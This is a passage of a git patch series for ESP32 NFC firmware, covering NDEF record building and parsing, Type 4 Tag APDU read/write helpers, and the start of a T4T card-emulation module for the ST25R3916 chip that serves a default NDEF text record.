ndef_builder_add_record(ndef_builder_t* b, + uint8_t tnf, + const uint8_t* type, uint8_t type_len, + const uint8_t* id, uint8_t id_len, + const uint8_t* payload, uint32_t payload_len) +{ + if (payload_len > 0 && !payload) return HB_NFC_ERR_PARAM; + uint8_t* dst = NULL; + hb_nfc_err_t err = ndef_builder_begin_record(b, tnf, type, type_len, + id, id_len, payload_len, &dst); + if (err != HB_NFC_OK) return err; + if (payload_len > 0 && payload) memcpy(dst, payload, payload_len); + return HB_NFC_OK; +} + +hb_nfc_err_t ndef_builder_add_text(ndef_builder_t* b, + const char* text, + const char* lang, + bool utf16) +{ + if (!b || !text) return HB_NFC_ERR_PARAM; + size_t text_len = strlen(text); + size_t lang_len = lang ? strlen(lang) : 0; + if (lang_len > 63U) return HB_NFC_ERR_PARAM; + + uint32_t payload_len = (uint32_t)(1U + lang_len + text_len); + uint8_t* payload = NULL; + hb_nfc_err_t err = ndef_builder_begin_record(b, NDEF_TNF_WELL_KNOWN, + (const uint8_t*)"T", 1, + NULL, 0, payload_len, &payload); + if (err != HB_NFC_OK) return err; + + payload[0] = (uint8_t)((utf16 ? 0x80U : 0x00U) | (uint8_t)lang_len); + if (lang_len > 0) memcpy(&payload[1], lang, lang_len); + if (text_len > 0) memcpy(&payload[1 + lang_len], text, text_len); + return HB_NFC_OK; +} + +hb_nfc_err_t ndef_builder_add_uri(ndef_builder_t* b, const char* uri) +{ + if (!b || !uri) return HB_NFC_ERR_PARAM; + size_t uri_len = strlen(uri); + size_t prefix_len = 0; + uint8_t prefix_code = uri_prefix_match(uri, uri_len, &prefix_len); + + uint32_t payload_len = (uint32_t)(1U + (uri_len - prefix_len)); + uint8_t* payload = NULL; + hb_nfc_err_t err = ndef_builder_begin_record(b, NDEF_TNF_WELL_KNOWN, + (const uint8_t*)"U", 1, + NULL, 0, payload_len, &payload); + if (err != HB_NFC_OK) return err; + + payload[0] = prefix_code; + if (uri_len > prefix_len) { + memcpy(&payload[1], uri + prefix_len, uri_len - prefix_len); + } + return HB_NFC_OK; +} + +hb_nfc_err_t ndef_builder_add_mime(ndef_builder_t* b, + const char* mime_type, + const uint8_t* data, size_t data_len) +{ + if (!b || !mime_type) return HB_NFC_ERR_PARAM; + size_t type_len = strlen(mime_type); + if (type_len == 0 || type_len > 0xFFU) return HB_NFC_ERR_PARAM; + return ndef_builder_add_record(b, NDEF_TNF_MIME, + (const uint8_t*)mime_type, (uint8_t)type_len, + NULL, 0, + data, (uint32_t)data_len); +} + +hb_nfc_err_t ndef_builder_add_smart_poster(ndef_builder_t* b, + const uint8_t* nested_ndef, + size_t nested_len) +{ + if (!b || !nested_ndef || nested_len == 0) return HB_NFC_ERR_PARAM; + return ndef_builder_add_record(b, NDEF_TNF_WELL_KNOWN, + (const uint8_t*)"Sp", 2, + NULL, 0, + nested_ndef, (uint32_t)nested_len); +} + +ndef_tlv_status_t ndef_tlv_find(const uint8_t* data, size_t len, + uint8_t type, ndef_tlv_t* out) +{ + if (!data || len == 0 || !out) return NDEF_TLV_STATUS_INVALID; + size_t pos = 0; + while (pos < len) { + size_t start = pos; + uint8_t t = data[pos++]; + if (t == NDEF_TLV_NULL) continue; + if (t == NDEF_TLV_TERMINATOR) return NDEF_TLV_STATUS_NOT_FOUND; + if (pos >= len) return NDEF_TLV_STATUS_INVALID; + + size_t l = 0; + if (data[pos] == 0xFFU) { + if (pos + 2U >= len) return NDEF_TLV_STATUS_INVALID; + l = ((size_t)data[pos + 1] << 8) | data[pos + 2]; + pos += 3U; + } else { + l = data[pos++]; + } + + if (pos + l > len) return NDEF_TLV_STATUS_INVALID; + if (t == type) { + out->type = t; + out->length = l; + out->value = &data[pos]; + out->tlv_len = (pos - start) + l; + return NDEF_TLV_STATUS_OK; + } + pos += l; + } + return NDEF_TLV_STATUS_NOT_FOUND; +} + +ndef_tlv_status_t ndef_tlv_find_ndef(const uint8_t* data, size_t len, + ndef_tlv_t* out) +{ + return ndef_tlv_find(data, len, NDEF_TLV_NDEF, out); +} + +ndef_tlv_status_t ndef_tlv_build(uint8_t* out, size_t max, + uint8_t type, + const uint8_t* value, size_t value_len, + size_t* out_len) +{ + if (!out || max == 0) return NDEF_TLV_STATUS_INVALID; + if (value_len > 0xFFFFU) return NDEF_TLV_STATUS_INVALID; + + size_t len_field = (value_len < 0xFFU) ? 1U : 3U; + size_t needed = 1U + len_field + value_len; + if (needed > max) return NDEF_TLV_STATUS_INVALID; + + size_t pos = 0; + out[pos++] = type; + if (value_len < 0xFFU) { + out[pos++] = (uint8_t)value_len; + } else { + out[pos++] = 0xFFU; + out[pos++] = (uint8_t)((value_len >> 8) & 0xFFU); + out[pos++] = (uint8_t)(value_len & 0xFFU); + } + if (value_len > 0 && value) { + memcpy(&out[pos], value, value_len); + } + pos += value_len; + if (out_len) *out_len = pos; + return NDEF_TLV_STATUS_OK; +} + +ndef_tlv_status_t ndef_tlv_build_ndef(uint8_t* out, size_t max, + const uint8_t* ndef, size_t ndef_len, + size_t* out_len) +{ + if (!out || max == 0) return NDEF_TLV_STATUS_INVALID; + size_t tlv_len = 0; + ndef_tlv_status_t st = ndef_tlv_build(out, max, NDEF_TLV_NDEF, ndef, ndef_len, &tlv_len); + if (st != NDEF_TLV_STATUS_OK) return st; + if (tlv_len + 1U > max) return NDEF_TLV_STATUS_INVALID; + out[tlv_len++] = NDEF_TLV_TERMINATOR; + if (out_len) *out_len = tlv_len; + return NDEF_TLV_STATUS_OK; +} + +void ndef_print(const uint8_t* data, size_t len) +{ + if (!data || len < 3) { + ESP_LOGW(TAG, "NDEF empty/invalid"); + return; + } + + ndef_parser_t parser; + ndef_parser_init(&parser, data, len); + ndef_record_t rec; + int idx = 0; + + while (ndef_parse_next(&parser, &rec)) { + ESP_LOGI(TAG, "Record %d: MB=%d ME=%d SR=%d TNF=0x%02X", + idx, rec.mb, rec.me, rec.sr, rec.tnf); + + if (ndef_record_is_text(&rec)) { + ndef_text_t text; + if (ndef_decode_text(&rec, &text)) { + ESP_LOGI(TAG, "NDEF Text (%s):", text.utf16 ? "UTF-16" : "UTF-8"); + if (text.lang_len > 0 && text.lang) { + log_str("Lang:", text.lang, text.lang_len); + } + if (text.text_len > 0 && text.text) { + log_str("Text:", text.text, text.text_len); + } + } + } else if (ndef_record_is_uri(&rec)) { + char buf[128]; + size_t out_len = 0; + if (ndef_decode_uri(&rec, buf, sizeof(buf), &out_len)) { + ESP_LOGI(TAG, "NDEF URI (%u bytes): %s", (unsigned)out_len, buf); + } else { + ESP_LOGI(TAG, "NDEF URI (len=%u)", (unsigned)rec.payload_len); + } + } else if (ndef_record_is_mime(&rec)) { + log_str("MIME:", rec.type, rec.type_len); + ESP_LOGI(TAG, "Payload len=%u", (unsigned)rec.payload_len); + } else if (ndef_record_is_smart_poster(&rec)) { + ESP_LOGI(TAG, "NDEF Smart Poster (payload=%u bytes)", (unsigned)rec.payload_len); + } else { + ESP_LOGI(TAG, "NDEF record type len=%u payload=%u", + rec.type_len, (unsigned)rec.payload_len); + } + + idx++; + if (rec.me) break; + } + + if (ndef_parser_error(&parser) != HB_NFC_OK) { + ESP_LOGW(TAG, "NDEF parse error"); + } +} From 82da055a113aab5b50deabad4a4fca637f26ff99 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:09:30 -0300 Subject: [PATCH 28/61] feat(nfc): add T4T tag operations --- .../nfc/protocols/iso14443a/include/t4t.h | 53 +++ .../nfc/protocols/iso14443a/t4t.c | 316 ++++++++++++++++++ 2 files changed, 369 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t.c diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t.h new file mode 100644 index 00000000..c224e904 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t.h @@ -0,0 +1,53 @@ +/** + * @file t4t.h + * @brief ISO14443-4 / Type 4 Tag (T4T) NDEF reader helpers. + */ +#ifndef T4T_H +#define T4T_H + +#include +#include +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" + +typedef struct { + uint16_t cc_len; + uint16_t mle; + uint16_t mlc; + uint16_t ndef_fid; + uint16_t ndef_max; + uint8_t read_access; + uint8_t write_access; +} t4t_cc_t; + +/** Read and parse Capability Container (CC) file. */ +hb_nfc_err_t t4t_read_cc(const nfc_iso_dep_data_t* dep, t4t_cc_t* cc); + +/** Read NDEF file using CC information. */ +hb_nfc_err_t t4t_read_ndef(const nfc_iso_dep_data_t* dep, + const t4t_cc_t* cc, + uint8_t* out, + size_t out_max, + size_t* out_len); + +/** Write NDEF file (updates NLEN + payload). */ +hb_nfc_err_t t4t_write_ndef(const nfc_iso_dep_data_t* dep, + const t4t_cc_t* cc, + const uint8_t* data, + size_t data_len); + +/** Read binary from NDEF file (raw access, no NLEN handling). */ +hb_nfc_err_t t4t_read_binary_ndef(const nfc_iso_dep_data_t* dep, + const t4t_cc_t* cc, + uint16_t offset, + uint8_t* out, + size_t out_len); + +/** Update binary in NDEF file (raw access, no NLEN handling). */ +hb_nfc_err_t t4t_update_binary_ndef(const nfc_iso_dep_data_t* dep, + const t4t_cc_t* cc, + uint16_t offset, + const uint8_t* data, + size_t data_len); + +#endif /* T4T_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t.c b/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t.c new file mode 100644 index 00000000..b4d616db --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t.c @@ -0,0 +1,316 @@ +/** + * @file t4t.c + * @brief ISO14443-4 / Type 4 Tag (T4T) NDEF reader helpers. + */ +#include "t4t.h" + +#include +#include "esp_log.h" + +#include "iso_dep.h" +#include "nfc_common.h" + +#define TAG "t4t" + +#define T4T_AID_LEN 7 +#define T4T_CC_FILE 0xE103U + +static const uint8_t T4T_AID[T4T_AID_LEN] = { 0xD2, 0x76, 0x00, 0x00, 0x85, 0x01, 0x01 }; + +static hb_nfc_err_t t4t_apdu(const nfc_iso_dep_data_t* dep, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw) +{ + if (!dep || !apdu || apdu_len == 0 || !out) return HB_NFC_ERR_PARAM; + + int len = iso_dep_apdu_transceive(dep, apdu, apdu_len, out, out_max, 0); + if (len < 2) return HB_NFC_ERR_PROTOCOL; + + uint16_t status = (uint16_t)((out[len - 2] << 8) | out[len - 1]); + if (sw) *sw = status; + if (out_len) { + *out_len = (size_t)(len - 2); + } + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_select_ndef_app(const nfc_iso_dep_data_t* dep) +{ + uint8_t apdu[5 + T4T_AID_LEN + 1]; + size_t pos = 0; + apdu[pos++] = 0x00; + apdu[pos++] = 0xA4; + apdu[pos++] = 0x04; + apdu[pos++] = 0x00; + apdu[pos++] = T4T_AID_LEN; + memcpy(&apdu[pos], T4T_AID, T4T_AID_LEN); + pos += T4T_AID_LEN; + apdu[pos++] = 0x00; /* Le */ + + uint8_t rsp[64] = { 0 }; + size_t rsp_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = t4t_apdu(dep, apdu, pos, rsp, sizeof(rsp), &rsp_len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != 0x9000 && (sw & 0xFF00U) != 0x6100U) { + ESP_LOGW(TAG, "SELECT NDEF APP failed SW=0x%04X", sw); + return HB_NFC_ERR_PROTOCOL; + } + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_select_file(const nfc_iso_dep_data_t* dep, uint16_t fid) +{ + uint8_t apdu[7]; + apdu[0] = 0x00; + apdu[1] = 0xA4; + apdu[2] = 0x00; + apdu[3] = 0x0C; /* no FCI */ + apdu[4] = 0x02; + apdu[5] = (uint8_t)((fid >> 8) & 0xFFU); + apdu[6] = (uint8_t)(fid & 0xFFU); + + uint8_t rsp[32] = { 0 }; + size_t rsp_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = t4t_apdu(dep, apdu, sizeof(apdu), rsp, sizeof(rsp), &rsp_len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != 0x9000) { + ESP_LOGW(TAG, "SELECT FILE 0x%04X failed SW=0x%04X", fid, sw); + return HB_NFC_ERR_PROTOCOL; + } + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_read_binary(const nfc_iso_dep_data_t* dep, + uint16_t offset, + uint8_t* out, + size_t out_len) +{ + if (!out || out_len == 0 || out_len > 0xFF) return HB_NFC_ERR_PARAM; + + uint8_t apdu[5]; + apdu[0] = 0x00; + apdu[1] = 0xB0; + apdu[2] = (uint8_t)((offset >> 8) & 0xFFU); + apdu[3] = (uint8_t)(offset & 0xFFU); + apdu[4] = (uint8_t)out_len; + + uint8_t rsp[260] = { 0 }; + size_t rsp_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = t4t_apdu(dep, apdu, sizeof(apdu), rsp, sizeof(rsp), &rsp_len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != 0x9000) { + ESP_LOGW(TAG, "READ_BINARY failed SW=0x%04X", sw); + return HB_NFC_ERR_PROTOCOL; + } + if (rsp_len < out_len) return HB_NFC_ERR_PROTOCOL; + memcpy(out, rsp, out_len); + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_update_binary(const nfc_iso_dep_data_t* dep, + uint16_t offset, + const uint8_t* data, + size_t data_len) +{ + if (!data || data_len == 0 || data_len > 0xFF) return HB_NFC_ERR_PARAM; + + uint8_t apdu[5 + 0xFF]; + apdu[0] = 0x00; + apdu[1] = 0xD6; + apdu[2] = (uint8_t)((offset >> 8) & 0xFFU); + apdu[3] = (uint8_t)(offset & 0xFFU); + apdu[4] = (uint8_t)data_len; + memcpy(&apdu[5], data, data_len); + + uint8_t rsp[16] = { 0 }; + size_t rsp_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = t4t_apdu(dep, apdu, 5 + data_len, rsp, sizeof(rsp), &rsp_len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != 0x9000) { + ESP_LOGW(TAG, "UPDATE_BINARY failed SW=0x%04X", sw); + return HB_NFC_ERR_PROTOCOL; + } + return HB_NFC_OK; +} + +hb_nfc_err_t t4t_read_cc(const nfc_iso_dep_data_t* dep, t4t_cc_t* cc) +{ + if (!dep || !cc) return HB_NFC_ERR_PARAM; + memset(cc, 0, sizeof(*cc)); + + hb_nfc_err_t err = t4t_select_ndef_app(dep); + if (err != HB_NFC_OK) return err; + + err = t4t_select_file(dep, T4T_CC_FILE); + if (err != HB_NFC_OK) return err; + + uint8_t buf[15] = { 0 }; + err = t4t_read_binary(dep, 0x0000, buf, sizeof(buf)); + if (err != HB_NFC_OK) return err; + + cc->cc_len = (uint16_t)((buf[0] << 8) | buf[1]); + cc->mle = (uint16_t)((buf[3] << 8) | buf[4]); + cc->mlc = (uint16_t)((buf[5] << 8) | buf[6]); + cc->ndef_fid = (uint16_t)((buf[9] << 8) | buf[10]); + cc->ndef_max = (uint16_t)((buf[11] << 8) | buf[12]); + cc->read_access = buf[13]; + cc->write_access = buf[14]; + + ESP_LOGI(TAG, "CC: ndef_fid=0x%04X ndef_max=%u mle=%u mlc=%u", + cc->ndef_fid, cc->ndef_max, cc->mle, cc->mlc); + return HB_NFC_OK; +} + +hb_nfc_err_t t4t_read_ndef(const nfc_iso_dep_data_t* dep, + const t4t_cc_t* cc, + uint8_t* out, + size_t out_max, + size_t* out_len) +{ + if (!dep || !cc || !out || out_max < 2) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = t4t_select_ndef_app(dep); + if (err != HB_NFC_OK) return err; + + if (cc->read_access != 0x00U) { + ESP_LOGW(TAG, "NDEF read not allowed (access=0x%02X)", cc->read_access); + return HB_NFC_ERR_PROTOCOL; + } + + err = t4t_select_file(dep, cc->ndef_fid); + if (err != HB_NFC_OK) return err; + + uint8_t len_buf[2] = { 0 }; + err = t4t_read_binary(dep, 0x0000, len_buf, sizeof(len_buf)); + if (err != HB_NFC_OK) return err; + + uint16_t ndef_len = (uint16_t)((len_buf[0] << 8) | len_buf[1]); + if (ndef_len == 0 || ndef_len > cc->ndef_max) { + ESP_LOGW(TAG, "Invalid NDEF length %u", ndef_len); + return HB_NFC_ERR_PROTOCOL; + } + if ((size_t)ndef_len > out_max) { + ESP_LOGW(TAG, "NDEF too large (%u > %u)", ndef_len, (unsigned)out_max); + return HB_NFC_ERR_PARAM; + } + + uint16_t offset = 2; + uint16_t remaining = ndef_len; + uint16_t mle = cc->mle ? cc->mle : 0xFFU; + if (mle > 0xFFU) mle = 0xFFU; + + while (remaining > 0) { + uint16_t chunk = remaining; + if (chunk > mle) chunk = mle; + + err = t4t_read_binary(dep, offset, &out[ndef_len - remaining], chunk); + if (err != HB_NFC_OK) return err; + + offset += chunk; + remaining -= chunk; + } + + if (out_len) *out_len = ndef_len; + return HB_NFC_OK; +} + +hb_nfc_err_t t4t_write_ndef(const nfc_iso_dep_data_t* dep, + const t4t_cc_t* cc, + const uint8_t* data, + size_t data_len) +{ + if (!dep || !cc || !data) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = t4t_select_ndef_app(dep); + if (err != HB_NFC_OK) return err; + + if (cc->write_access != 0x00U) { + ESP_LOGW(TAG, "NDEF write not allowed (access=0x%02X)", cc->write_access); + return HB_NFC_ERR_PROTOCOL; + } + + if (data_len > cc->ndef_max) { + ESP_LOGW(TAG, "NDEF too large (%u > %u)", + (unsigned)data_len, (unsigned)cc->ndef_max); + return HB_NFC_ERR_PARAM; + } + + err = t4t_select_file(dep, cc->ndef_fid); + if (err != HB_NFC_OK) return err; + + /* Set NLEN = 0 first (atomic update pattern) */ + uint8_t zero[2] = { 0x00, 0x00 }; + err = t4t_update_binary(dep, 0x0000, zero, sizeof(zero)); + if (err != HB_NFC_OK) return err; + + uint16_t mlc = cc->mlc ? cc->mlc : 0xFFU; + if (mlc > 0xFFU) mlc = 0xFFU; + + uint16_t offset = 2; + size_t remaining = data_len; + while (remaining > 0) { + uint16_t chunk = (remaining > mlc) ? mlc : (uint16_t)remaining; + err = t4t_update_binary(dep, offset, data + (data_len - remaining), chunk); + if (err != HB_NFC_OK) return err; + offset += chunk; + remaining -= chunk; + } + + /* Write NLEN actual */ + uint8_t nlen[2]; + nlen[0] = (uint8_t)((data_len >> 8) & 0xFFU); + nlen[1] = (uint8_t)(data_len & 0xFFU); + return t4t_update_binary(dep, 0x0000, nlen, sizeof(nlen)); +} + +hb_nfc_err_t t4t_read_binary_ndef(const nfc_iso_dep_data_t* dep, + const t4t_cc_t* cc, + uint16_t offset, + uint8_t* out, + size_t out_len) +{ + if (!dep || !cc || !out || out_len == 0) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = t4t_select_ndef_app(dep); + if (err != HB_NFC_OK) return err; + + if (cc->read_access != 0x00U) return HB_NFC_ERR_PROTOCOL; + + err = t4t_select_file(dep, cc->ndef_fid); + if (err != HB_NFC_OK) return err; + + if ((size_t)offset + out_len > (size_t)cc->ndef_max + 2U) { + return HB_NFC_ERR_PARAM; + } + return t4t_read_binary(dep, offset, out, out_len); +} + +hb_nfc_err_t t4t_update_binary_ndef(const nfc_iso_dep_data_t* dep, + const t4t_cc_t* cc, + uint16_t offset, + const uint8_t* data, + size_t data_len) +{ + if (!dep || !cc || !data || data_len == 0) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = t4t_select_ndef_app(dep); + if (err != HB_NFC_OK) return err; + + if (cc->write_access != 0x00U) return HB_NFC_ERR_PROTOCOL; + + err = t4t_select_file(dep, cc->ndef_fid); + if (err != HB_NFC_OK) return err; + + if ((size_t)offset + data_len > (size_t)cc->ndef_max + 2U) { + return HB_NFC_ERR_PARAM; + } + return t4t_update_binary(dep, offset, data, data_len); +} From 3d5d0ff2d2313fc46005dd222f71033ed65b9752 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:09:51 -0300 Subject: [PATCH 29/61] feat(nfc): add T4T card emulation --- .../nfc/protocols/iso14443a/include/t4t_emu.h | 25 + .../nfc/protocols/iso14443a/t4t_emu.c | 594 ++++++++++++++++++ 2 files changed, 619 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t_emu.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t_emu.c diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t_emu.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t_emu.h new file mode 100644 index 00000000..1d8c743e --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/t4t_emu.h @@ -0,0 +1,25 @@ +/** + * @file t4t_emu.h + * @brief ISO14443-4 / T4T emulation (ISO-DEP target). + */ +#ifndef T4T_EMU_H +#define T4T_EMU_H + +#include "highboy_nfc_error.h" + +/** Initialize default NDEF + CC. */ +hb_nfc_err_t t4t_emu_init_default(void); + +/** Configure ST25R3916 as NFC-A target for ISO-DEP. */ +hb_nfc_err_t t4t_emu_configure_target(void); + +/** Start emulation (enter SLEEP). */ +hb_nfc_err_t t4t_emu_start(void); + +/** Stop emulation. */ +void t4t_emu_stop(void); + +/** Run one emulation step (call in tight loop). */ +void t4t_emu_run_step(void); + +#endif /* T4T_EMU_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t_emu.c b/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t_emu.c new file mode 100644 index 00000000..520e903f --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/t4t_emu.c @@ -0,0 +1,594 @@ +/** + * @file t4t_emu.c + * @brief ISO14443-4 / T4T emulation (ISO-DEP target) for ST25R3916. + */ +#include "t4t_emu.h" + +#include +#include +#include +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" +#include "mf_desfire_emu.h" + +static const char* TAG = "t4t_emu"; + +#define OP_CTRL_TARGET 0xC3U +#define T4T_RX_IRQ (IRQ_MAIN_FWL) + +/* UID/ATQA/SAK for NFC-A anticollision handled by PT memory */ +static const uint8_t k_uid7[7] = { 0x04, 0xA1, 0xB2, 0xC3, 0xD4, 0xE5, 0xF6 }; +static const uint8_t k_atqa[2] = { 0x44, 0x00 }; +static const uint8_t k_sak = 0x20; /* ISO-DEP */ + +/* ATS: TL=2, T0=0x06 (FSCI=6 -> FSC=96) */ +static const uint8_t k_ats[] = { 0x02, 0x06 }; +static const uint8_t k_ndef_aid[] = { 0xD2, 0x76, 0x00, 0x00, 0x85, 0x01, 0x01 }; + +#define T4T_CC_LEN 15 +#define T4T_NDEF_MAX 128 +#define T4T_FILE_MAX (2 + T4T_NDEF_MAX) +#define T4T_ML 0x0050U /* 80 bytes */ +#define T4T_NDEF_FID 0xE104U +#define T4T_CC_FID 0xE103U + +typedef enum { + T4T_STATE_SLEEP, + T4T_STATE_SENSE, + T4T_STATE_ACTIVE, +} t4t_state_t; + +typedef enum { + T4T_FILE_NONE = 0, + T4T_FILE_CC, + T4T_FILE_NDEF, +} t4t_file_t; + +static t4t_state_t s_state = T4T_STATE_SLEEP; +static bool s_init_done = false; + +static bool s_app_selected = false; +static t4t_file_t s_file = T4T_FILE_NONE; + +static uint8_t s_cc[T4T_CC_LEN]; +static uint8_t s_ndef_file[T4T_FILE_MAX]; + +static uint8_t s_last_resp[260]; +static int s_last_resp_len = 0; + +static uint8_t s_chain_buf[300]; +static size_t s_chain_len = 0; +static bool s_chain_active = false; +static uint8_t s_pcd_cid = 0; +static TickType_t s_sense_tick = 0; +static TickType_t s_active_tick = 0; + +static bool wait_oscillator(int timeout_ms) +{ + for (int i = 0; i < timeout_ms; i++) { + uint8_t aux = 0, mi = 0, ti = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_MAIN_INT, &mi); + hb_spi_reg_read(REG_TARGET_INT, &ti); + if (((aux & 0x14) != 0) || ((mi & 0x80) != 0) || ((ti & 0x08) != 0)) { + ESP_LOGI(TAG, "Osc OK in %dms: AUX=0x%02X MAIN=0x%02X TGT=0x%02X", + i, aux, mi, ti); + return true; + } + vTaskDelay(pdMS_TO_TICKS(1)); + } + ESP_LOGW(TAG, "Osc timeout - continuing"); + return false; +} + +static hb_nfc_err_t load_pt_memory(void) +{ + uint8_t ptm[15] = { 0 }; + ptm[0] = k_uid7[0]; + ptm[1] = k_uid7[1]; + ptm[2] = k_uid7[2]; + ptm[3] = k_uid7[3]; + ptm[4] = k_uid7[4]; + ptm[5] = k_uid7[5]; + ptm[6] = k_uid7[6]; + ptm[7] = 0x00; + ptm[8] = 0x00; + ptm[9] = 0x00; + ptm[10] = k_atqa[0]; + ptm[11] = k_atqa[1]; + ptm[12] = 0x04; + ptm[13] = k_sak; + ptm[14] = 0x00; + + hb_nfc_err_t err = hb_spi_pt_mem_write(SPI_PT_MEM_A_WRITE, ptm, 15); + if (err != HB_NFC_OK) return err; + vTaskDelay(pdMS_TO_TICKS(2)); + + uint8_t rb[15] = { 0 }; + err = hb_spi_pt_mem_read(rb, 15); + if (err != HB_NFC_OK) return err; + if (memcmp(ptm, rb, 15) != 0) { + ESP_LOGE(TAG, "PT Memory mismatch!"); + return HB_NFC_ERR_INTERNAL; + } + ESP_LOGI(TAG, "PT OK: UID=%02X%02X%02X%02X%02X%02X%02X ATQA=%02X%02X SAK=%02X", + ptm[0], ptm[1], ptm[2], ptm[3], ptm[4], ptm[5], ptm[6], + ptm[10], ptm[11], ptm[13]); + return HB_NFC_OK; +} + +static void build_cc(void) +{ + /* CC file: 15 bytes */ + s_cc[0] = 0x00; s_cc[1] = 0x0F; /* CCLEN */ + s_cc[2] = 0x20; /* Mapping Version 2.0 */ + s_cc[3] = (uint8_t)((T4T_ML >> 8) & 0xFF); + s_cc[4] = (uint8_t)(T4T_ML & 0xFF); /* MLe */ + s_cc[5] = (uint8_t)((T4T_ML >> 8) & 0xFF); + s_cc[6] = (uint8_t)(T4T_ML & 0xFF); /* MLc */ + s_cc[7] = 0x04; /* NDEF File Control TLV */ + s_cc[8] = 0x06; + s_cc[9] = (uint8_t)((T4T_NDEF_FID >> 8) & 0xFF); + s_cc[10] = (uint8_t)(T4T_NDEF_FID & 0xFF); + s_cc[11] = 0x00; + s_cc[12] = (uint8_t)T4T_NDEF_MAX; /* max size */ + s_cc[13] = 0x00; /* read access */ + s_cc[14] = 0x00; /* write access */ +} + +static void build_ndef_text(const char* text) +{ + memset(s_ndef_file, 0x00, sizeof(s_ndef_file)); + + if (!text) text = "High Boy NFC T4T"; + size_t tl = strlen(text); + size_t max_text = (T4T_NDEF_MAX > 7) ? (T4T_NDEF_MAX - 7) : 0; + if (tl > max_text) tl = max_text; + size_t pl = 1 + 2 + tl; /* status + lang(2) + text */ + + size_t pos = 2; + s_ndef_file[pos++] = 0xD1; /* MB/ME/SR + TNF=1 */ + s_ndef_file[pos++] = 0x01; /* type length */ + s_ndef_file[pos++] = (uint8_t)pl; /* payload length */ + s_ndef_file[pos++] = 'T'; + s_ndef_file[pos++] = 0x02; /* UTF-8 + lang len=2 */ + s_ndef_file[pos++] = 'p'; + s_ndef_file[pos++] = 't'; + + memcpy(&s_ndef_file[pos], text, tl); + pos += tl; + + uint16_t nlen = (uint16_t)(pos - 2); + s_ndef_file[0] = (uint8_t)((nlen >> 8) & 0xFF); + s_ndef_file[1] = (uint8_t)(nlen & 0xFF); +} + +hb_nfc_err_t t4t_emu_init_default(void) +{ + build_cc(); + build_ndef_text("High Boy NFC T4T"); + s_state = T4T_STATE_SLEEP; + s_init_done = true; + s_app_selected = false; + s_file = T4T_FILE_NONE; + s_chain_active = false; + s_chain_len = 0; + s_pcd_cid = 0; + s_sense_tick = 0; + s_active_tick = 0; + ESP_LOGI(TAG, "T4T init: NDEF max=%u", (unsigned)T4T_NDEF_MAX); + return HB_NFC_OK; +} + +hb_nfc_err_t t4t_emu_configure_target(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + + hb_spi_reg_write(REG_OP_CTRL, 0x00); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_SET_DEFAULT); + vTaskDelay(pdMS_TO_TICKS(10)); + + uint8_t ic = 0; + hb_spi_reg_read(REG_IC_IDENTITY, &ic); + if (ic == 0x00 || ic == 0xFF) return HB_NFC_ERR_INTERNAL; + + hb_spi_reg_write(REG_IO_CONF2, 0x80); + vTaskDelay(pdMS_TO_TICKS(2)); + + hb_spi_reg_write(REG_OP_CTRL, 0x80); + wait_oscillator(200); + + hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); + vTaskDelay(pdMS_TO_TICKS(10)); + + hb_spi_reg_write(REG_MODE, MODE_TARGET_NFCA); + hb_spi_reg_write(REG_AUX_DEF, 0x10); + hb_spi_reg_write(REG_BIT_RATE, 0x00); + hb_spi_reg_write(REG_ISO14443A, 0x00); + hb_spi_reg_write(REG_PASSIVE_TARGET, 0x00); + + hb_spi_reg_write(REG_FIELD_THRESH_ACT, 0x00); + hb_spi_reg_write(REG_FIELD_THRESH_DEACT, 0x00); + hb_spi_reg_write(REG_PT_MOD, 0x60); + + hb_nfc_err_t err = load_pt_memory(); + if (err != HB_NFC_OK) return err; + + st25r_irq_read(); + 